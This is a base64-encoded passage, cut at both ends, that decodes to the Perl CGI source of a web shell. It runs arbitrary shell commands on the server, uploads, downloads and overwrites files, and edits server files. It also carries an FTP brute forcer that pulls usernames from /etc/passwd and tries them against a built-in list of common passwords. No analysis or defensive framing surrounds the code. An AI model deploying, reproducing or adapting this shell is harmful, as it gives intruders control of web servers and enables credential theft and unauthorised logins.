tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXINCnsNCiAgIG15ICRyZXN1bHQgPSAiIjsNCiAgIGxvY2FsKCRTZW5kRmlsZSkgPSBAXzsNCiAgIGlmKG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcNCiAgIHsNCiAgICAgIGlmKCRXaW5OVCkNCiAgICAgIHsNCiAgICAgICAgIGJpbm1vZGUoU0VOREZJTEUpOw0KICAgICAgICAgYmlubW9kZShTVERPVVQpOw0KICAgICAgfQ0KICAgICAgJEZpbGVTaXplID0gKHN0YXQoJFNlbmRGaWxlKSlbN107DQogICAgICAoJEZpbGVuYW1lID0gJFNlbmRGaWxlKSA9fiAgbSEoW14vXlxcXSopJCE7DQogICAgICBwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7DQogICAgICBwcmludCAiQ29udGVudC1MZW5ndGg6ICRGaWxlU2l6ZVxuIjsNCiAgICAgIHByaW50ICJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0kMVxuXG4iOw0KICAgICAgcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7DQogICAgICBjbG9zZShTRU5ERklMRSk7DQogICAgICBleGl0KDEpOw0KICAgfQ0KICAgZWxzZSAjIGZhaWxlZCB0byBvcGVuIGZpbGUNCiAgIHsNCiAgICAgICRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhIjsNCiAgICAgICRyZXN1bHQgLj0mUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KICAgfQ0KICAgcmV0dXJuICRyZXN1bHQ7DQp9DQoNCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGRvd25sb2FkcyBhIGZpbGUuIEl0IGRpc3BsYXlzIGEgbWVzc2FnZQ0KIyB0byB0aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rIHRocm91Z2ggd2hpY2ggdGhlIGZpbGUgY2FuIGJlIGRvd25sb2FkZWQuDQojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsDQojIHRoZSBmaWxlIGlzIHJlYWQgYW5kIHNlbnQgdG8gdGhlIGJyb3dzZXIuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQmVnaW5Eb3dubG9hZA0Kew0KICAgIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KICAgaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8DQogICAgICAoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCiAgIHsNCiAgICAgICRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCiAgIH0NCiAgIGVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlDQogICB7DQogICAgICBjaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KICAgICAgJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsNCiAgIH0NCg0KICAgaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCiAgIHsNCiAgICAgICZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7DQogICB9DQogICBlbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQ0KICAgew0KICAgICAgJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7DQogICB9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUNCiMgZmlsZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhDQojIGZpbGUsIG90aGVyd2lzZSBpdCBzdGFydHMgdGhlIHVwbG9hZCBwcm9jZXNzLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFVwbG9hZEZpbGUNCnsNCiAgICMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSB1cGxvYWQgZm9ybSBhZ2Fpbg0KICAgaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikNCiAgIHsNCiAgICAgIHJldHVybiAmUHJpbnRGaWxlVXBsb2FkRm9ybTsNCg0KICAgfQ0KICAgbXkgJHJlc3VsdD0iIjsNCiAgICMgc3RhcnQgdGhlIHVwbG9hZGluZyBwcm9jZXNzDQogICAkcmVzdWx0IC49ICJVcGxvYWRpbmcgJFRyYW5zZmVyRmlsZSB0byAkQ3VycmVudERpci4uLjxicj4iOw0KDQogICAjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkDQogICBjaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCiAgICRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7DQogICAkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsNCg0KICAgJFRhcmdldEZpbGVTaXplID0gbGVuZ3RoKCRpbnsnZmlsZWRhdGEnfSk7DQogICAjIGlmIHRoZSBmaWxlIGV4aXN0cyBhbmQgd2UgYXJlIG5vdCBzdXBwb3NlZCB0byBvdmVyd3JpdGUgaXQNCiAgIGlmKC1lICRUYXJnZXROYW1lICYmICRPcHRpb25zIG5lICJvdmVyd3JpdGUiKQ0KICAgew0KICAgICAgJHJlc3VsdCAuPSAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOw0KICAgfQ0KICAgZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQNCiAgIHsNCiAgICAgIGlmKG9wZW4oVVBMT0FERklMRSwgIj4kVGFyZ2V0TmFtZSIpKQ0KICAgICAgew0KICAgICAgICAgYmlubW9kZShVUExPQURGSUxFKSBpZiAkV2luTlQ7DQogICAgICAgICBwcmludCBVUExPQURGSUxFICRpbnsnZmlsZWRhdGEnfTsNCiAgICAgICAgIGNsb3NlKFVQTE9BREZJTEUpOw0KICAgICAgICAgJHJlc3VsdCAuPSAiVHJhbnNmZXJlZCAkVGFyZ2V0RmlsZVNpemUgQnl0ZXMuPGJyPiI7DQogICAgICAgICAkcmVzdWx0IC49ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7DQogICAgICB9DQogICAgICBlbHNlDQogICAgICB7DQogICAgICAgICAkcmVzdWx0IC49ICJGYWlsZWQ6ICQhPGJyPiI7DQogICAgICB9DQogICB9DQogICAkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KICAgcmV0dXJuICRyZXN1bHQ7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQ0KIyBmaWxlbmFtZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhDQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluaw0KIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBEb3dubG9hZEZpbGUNCnsNCiAgICMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSBkb3dubG9hZCBmb3JtIGFnYWluDQogICBpZigkVHJhbnNmZXJGaWxlIGVxICIiKQ0KICAgew0KICAgICAgJlByaW50UGFnZUhlYWRlcigiZiIpOw0KICAgICAgcmV0dXJuICZQcmludEZpbGVEb3dubG9hZEZvcm07DQogICB9DQogICANCiAgICMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCiAgIGlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfCAoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCiAgIHsNCiAgICAgICRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCiAgIH0NCiAgIGVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlDQogICB7DQogICAgICBjaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KICAgICAgJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsNCiAgIH0NCg0KICAgaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCiAgIHsNCiAgICAgIHJldHVybiAmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOw0KICAgfQ0KICAgZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UNCiAgIHsNCiAgICAgIHJldHVybiAmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsNCiAgIH0NCn0NCg0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlDQojIGNvbW1hbmQgYW5kIGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBhbm90aGVyIGNvbW1hbmQuIFRoZSBjaGFuZ2UgZGlyZWN0b3J5DQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4NCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQ0KIyBvdXRwdXQgb2YgdGhlIGNoYW5nZSBkaXJlY3RvcnkgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkIHRvIHRoZSB1c2Vycw0KIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBFeGVjdXRlQ29tbWFuZA0Kew0KICAgbXkgJHJlc3VsdD0iIjsNCiAgIGlmKCRSdW5Db21tYW5kID1+IG0vXlxzKmNkXHMrKC4rKS8pICMgaXQgaXMgYSBjaGFuZ2UgZGlyIGNvbW1hbmQNCiAgIHsNCiAgICAgICMgd2UgY2hhbmdlIHRoZSBkaXJlY3RvcnkgaW50ZXJuYWxseS4gVGhlIG91dHB1dCBvZiB0aGUNCiAgICAgICMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLg0KICAgICAgJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4kQ21kUHdkOw0KICAgICAgY2hvcCgkQ3VycmVudERpciA9IGAkQ29tbWFuZGApOw0KICAgICAgJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCg0KICAgICAgJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZCA8L3J1bj48YnI+PHRleHRhcmVhIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7DQogICAgICAjIHh1YXQgdGhvbmcgdGluIGtoaSBjaHV5ZW4gZGVuIDEgdGh1IG11YyBuYW8gZG8hDQogICAgICAkUnVuQ29tbWFuZD0gJFdpbk5UPyJkaXIiOiJkaXIgLWxpYSI7DQogICAgICAkcmVzdWx0IC49ICZSdW5DbWQ7DQogICB9ZWxzaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqZWRpdFxzKyguKykvKQ0KICAgew0KICAgICAgJHJlc3VsdCAuPSAgJlNhdmVGaWxlRm9ybTsNCiAgIH1lbHNlDQogICB7DQogICAgICAkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KICAgICAgJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZDwvcnVuPjxicj48dGV4dGFyZWEgaWQ9J2RhdGEnIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7DQogICAgICAkcmVzdWx0IC49JlJ1bkNtZDsNCiAgIH0NCiAgICRyZXN1bHQgLj0gICI8L3RleHRhcmVhPiI7DQogICByZXR1cm4gJHJlc3VsdDsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBydW4gY29tbWFuZA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQpzdWIgUnVuQ21kDQp7DQogICBteSAkcmVzdWx0PSIiOw0KICAgJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiRSdW5Db21tYW5kLiRSZWRpcmVjdG9yOw0KICAgaWYoISRXaW5OVCkNCiAgIHsNCiAgICAgICRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7DQogICAgICBhbGFybSgkQ29tbWFuZFRpbWVvdXREdXJhdGlvbik7DQogICB9DQogICBpZigkU2hvd0R5bmFtaWNPdXRwdXQpICMgc2hvdyBvdXRwdXQgYXMgaXQgaXMgZ2VuZXJhdGVkDQogICB7DQogICAgICAkfD0xOw0KICAgICAgJENvbW1hbmQgLj0gIiB8IjsNCiAgICAgIG9wZW4oQ29tbWFuZE91dHB1dCwgJENvbW1hbmQpOw0KICAgICAgd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQ0KICAgICAgew0KICAgICAgICAgJF8gPX4gcy8oXG58XHJcbikkLy87DQogICAgICAgICAkcmVzdWx0IC49ICZIdG1sU3BlY2lhbENoYXJzKCIkX1xuIik7DQogICAgICB9DQogICAgICAkfD0wOw0KICAgfQ0KICAgZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzDQogICB7DQogICAgICAkcmVzdWx0IC49ICZIdG1sU3BlY2lhbENoYXJzKCckQ29tbWFuZCcpOw0KICAgfQ0KICAgaWYoISRXaW5OVCkNCiAgIHsNCiAgICAgIGFsYXJtKDApOw0KICAgfQ0KICAgcmV0dXJuICRyZXN1bHQ7DQp9DQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQojIEZvcm0gU2F2ZSBGaWxlIA0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0Kc3ViIFNhdmVGaWxlRm9ybQ0Kew0KICAgbXkgJHJlc3VsdCA9IiI7DQogICBzdWJzdHIoJFJ1bkNvbW1hbmQsMCw1KT0iIjsNCiAgIG15ICRmaWxlPSZ0cmltKCRSdW5Db21tYW5kKTsNCiAgICRzYXZlPSc8YnI+PGlucHV0IG5hbWU9ImEiIHR5cGU9InN1Ym1pdCIgdmFsdWU9InNhdmUiIGNsYXNzPSJzdWJtaXQiID4nOw0KICAgJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFJ1bkNvbW1hbmQ7DQogICBteSAkZGlyPSI8c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPiIuJkFkZExpbmtEaXIoImd1aSIpLiI8L3NwYW4+IjsNCiAgIGlmKC13ICRGaWxlKQ0KICAgew0KICAgICAgJHJvd3M9IjIzIg0KICAgfWVsc2UNCiAgIHsNCiAgICAgICRtc2c9Ijxicj48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBWZXJkYW5hOyBjb2xvcjogeWVsbG93OycgPiBQZXJtaXNzaW9uIGRlbmllZCE8Zm9udD48YnI+IjsNCiAgICAgICRyb3dzPSIyMCINCiAgIH0NCiAgICRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyNGRkZGRkYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsNCiAgICRyZWFkPSgkV2luTlQpPyJ0eXBlIjoibGVzcyI7DQogICAkUnVuQ29tbWFuZCA9ICIkcmVhZCBcIiRSdW5Db21tYW5kXCIiOw0KICAgJHJlc3VsdCAuPSAgPDxFTkQ7DQogICA8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCg0KICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCiAgICRQcm9tcHQNCiAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI0MCIgbmFtZT0iYyI+DQogICA8aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPg0KICAgPGJyPkNvbW1hbmQ6IDxydW4+ICRSdW5Db21tYW5kIDwvcnVuPg0KICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZmlsZSIgdmFsdWU9IiRmaWxlIiA+ICRzYXZlIDxicj4gJG1zZw0KICAgPGJyPjx0ZXh0YXJlYSBpZD0iZGF0YSIgbmFtZT0iZGF0YSIgY29scz0iJGNvbHMiIHJvd3M9IiRyb3dzIiBzcGVsbGNoZWNrPSJmYWxzZSI+DQpFTkQNCiAgIA0KICAgJHJlc3VsdCAuPSAmUnVuQ21kOw0KICAgJHJlc3VsdCAuPSAgIjwvdGV4dGFyZWE+IjsNCiAgICRyZXN1bHQgLj0gICI8L2Zvcm0+IjsNCiAgIHJldHVybiAkcmVzdWx0Ow0KfQ0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KIyBTYXZlIEZpbGUNCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCnN1YiBTYXZlRmlsZSgkKQ0Kew0KICAgbXkgJERhdGE9IHNoaWZ0IDsNCiAgIG15ICRGaWxlPSBzaGlmdDsNCiAgICRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRGaWxlOw0KICAgaWYob3BlbihGSUxFLCAiPiRGaWxlIikpDQogICB7DQogICAgICBiaW5tb2RlIEZJTEU7DQogICAgICBwcmludCBGSUxFICREYXRhOw0KICAgICAgY2xvc2UgRklMRTsNCiAgICAgIHJldHVybiAxOw0KICAgfWVsc2UNCiAgIHsNCiAgICAgIHJldHVybiAwOw0KICAgfQ0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBCcnV0ZSBGb3JjZXIgRm9ybQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJydXRlRm9yY2VyRm9ybQ0Kew0KICAgbXkgJHJlc3VsdD0iIjsNCiAgICRyZXN1bHQgLj0gPDxFTkQ7DQoNCjx0YWJsZT4NCg0KPHRyPg0KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjPGJyPg0KU2ltcGxlIEZUUCBicnV0ZSBmb3JjZXI8YnI+DQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KDQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYnJ1dGVmb3JjZXIiLz4NCjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPlVzZXI6PGJyPjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InVzZXIiPg0KRU5EDQpjaG9wKCRyZXN1bHQgLj0gYGxlc3MgL2V0Yy9wYXNzd2QgfCBjdXQgLWQ6IC1mMWApOw0KJHJlc3VsdCAuPSA8PCdFTkQnOw0KPC90ZXh0YXJlYT48L3RkPg0KPHRkPg0KDQpQYXNzOjxicj4NCjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InBhc3MiPjEyM3Bhc3MNCjEyMyFAIw0KMTIzYWRtaW4NCjEyM2FiYw0KMTIzNDU2YWRtaW4NCjEyMzQ1NTQzMjENCjEyMzQ0MzIxDQpwYXNzMTIzDQphZG1pbg0KYWRtaW5jcA0KYWRtaW5pc3RyYXRvcg0KbWF0a2hhdQ0KcGFzc2FkbWluDQpwQHNzd29yZA0KcEBzc3cwcmQNCnBhc3N3b3JkDQoxMjM0NTYNCjEyMzQ1NjcNCjEyMzQ1Njc4DQoxMjM0NTY3ODkNCjEyMzQ1Njc4OTANCjExMTExMQ0KMDAwMDAwDQoyMjIyMjINCjMzMzMzMw0KNDQ0NDQ0DQo1NTU1NTUNCjY2NjY2Ng0KNzc3Nzc3DQo4ODg4ODgNCjk5OTk5OQ0KMTIzMTIzDQoyMzQyMzQNCjM0NTM0NQ0KNDU2NDU2DQo1Njc1NjcNCjY3ODY3OA0KNzg5Nzg5DQoxMjMzMjENCjQ1NjY1NA0KNjU0MzIxDQo3NjU0MzIxDQo4NzY1NDMyMQ0KOTg3NjU0MzIxDQowOTg3NjU0MzIxDQphZG1pbjEyMw0KYWRtaW4xMjM0NTYNCmFiY2RlZg0KYWJjYWJjDQohQCMhQCMNCiFAIyQlXg0KIUAjJCVeJiooDQohQCMkJCNAIQ0KYWJjMTIzDQphbmh5ZXVlbQ0KaWxvdmV5b3U8L3RleHRhcmVhPg0KPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQgY29sc3Bhbj0iMiIgYWxpZ249ImNlbnRlciI+DQpTbGVlcDo8c2VsZWN0IG5hbWU9InNsZWVwIj4NCg0KPG9wdGlvbj4wPC9vcHRpb24+DQo8b3B0aW9uPjE8L29wdGlvbj4NCjxvcHRpb24+Mjwvb3B0aW9uPg0KDQo8b3B0aW9uPjM8L29wdGlvbj4NCjwvc2VsZWN0PiANCjxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJzdWJtaXQiIHZhbHVlPSJCcnV0ZSBGb3JjZXIiLz48L3RkPjwvdHI+DQo8L2Zvcm0+DQo8L3RhYmxlPg0KRU5EDQpyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQnJ1dGUgRm9yY2VyDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQnJ1dGVGb3JjZXINCnsNCiAgIG15ICRyZXN1bHQ9IiI7DQogICAkU2VydmVyPSRFTlZ7J1NFUlZFUl9BRERSJ307DQogICBpZigkaW57J3VzZXInfSBlcSAiIikNCiAgIHsNCiAgICAgICRyZXN1bHQgLj0gJkJydXRlRm9yY2VyRm9ybTsNCiAgIH1lbHNlDQogICB7DQogICAgICB1c2UgTmV0OjpGVFA7IA0KICAgICAgQHVzZXI9IHNwbGl0KC9cbi8sICRpbnsndXNlcid9KTsNCiAgICAgIEBwYXNzPSBzcGxpdCgvXG4vLCAkaW57J3Bhc3MnfSk7DQogICAgICBjaG9tcChAdXNlcik7DQogICAgICBjaG9tcChAcGFzcyk7DQogICAgICAkcmVzdWx0IC49ICI8YnI+PGJyPlsrXSBUcnlpbmcgYnJ1dGUgJFNlcnZlck5hbWU8YnI+PT09PT09PT09PT09PT09PT09PT0+Pj4+Pj4+Pj4+Pj48PDw8PDw8PDw8PT09PT09PT09PT09PT09PT09PT08YnI+PGJyPlxuIjsNCiAgICAgIGZvcmVhY2ggJHVzZXJuYW1lIChAdXNlcikNCiAgICAgIHsNCiAgICAgICAgIGlmKCEoJHVzZXJuYW1lIGVxICIiKSkNCiAgICAgICAgIHsNCiAgICAgICAgICAgIGZvcmVhY2ggJHBhc3N3b3JkIChAcGFzcykNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICRmdHAgPSBOZXQ6OkZUUC0+bmV3KCRTZXJ2ZXIpIG9yIGRpZSAiQ291bGQgbm90IGNvbm5lY3QgdG8gJFNlcnZlck5hbWVcbiI7IA0KICAgICAgICAgICAgICAgaWYoJGZ0cC0+bG9naW4oIiR1c2VybmFtZSIsIiRwYXNzd29yZCIpKQ0KICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgJHJlc3VsdCAuPSAiPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2Z0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXInPlsrXSBmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyPC9hPjxicj5cbiI7DQogICAgICAgICAgICAgICAgICAkZnRwLT5xdWl0KCk7DQogICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgIGlmKCEoJGlueydzbGVlcCd9IGVxICIwIikpDQogICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICBzbGVlcChpbnQoJGlueydzbGVlcCd9KSk7DQogICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAkZnRwLT5xdWl0KCk7DQogICAgICAgICAgICB9DQogICAgICAgICB9DQogICAgICB9DQogICAgICAkcmVzdWx0IC49ICJcbjxicj49PT09PT09PT09Pj4+Pj4+Pj4+PiBGaW5pc2hlZCA8PDw8PDw8PDw8PT09PT09PT09PTxicj5cbiI7DQogICB9DQogICByZXR1cm4g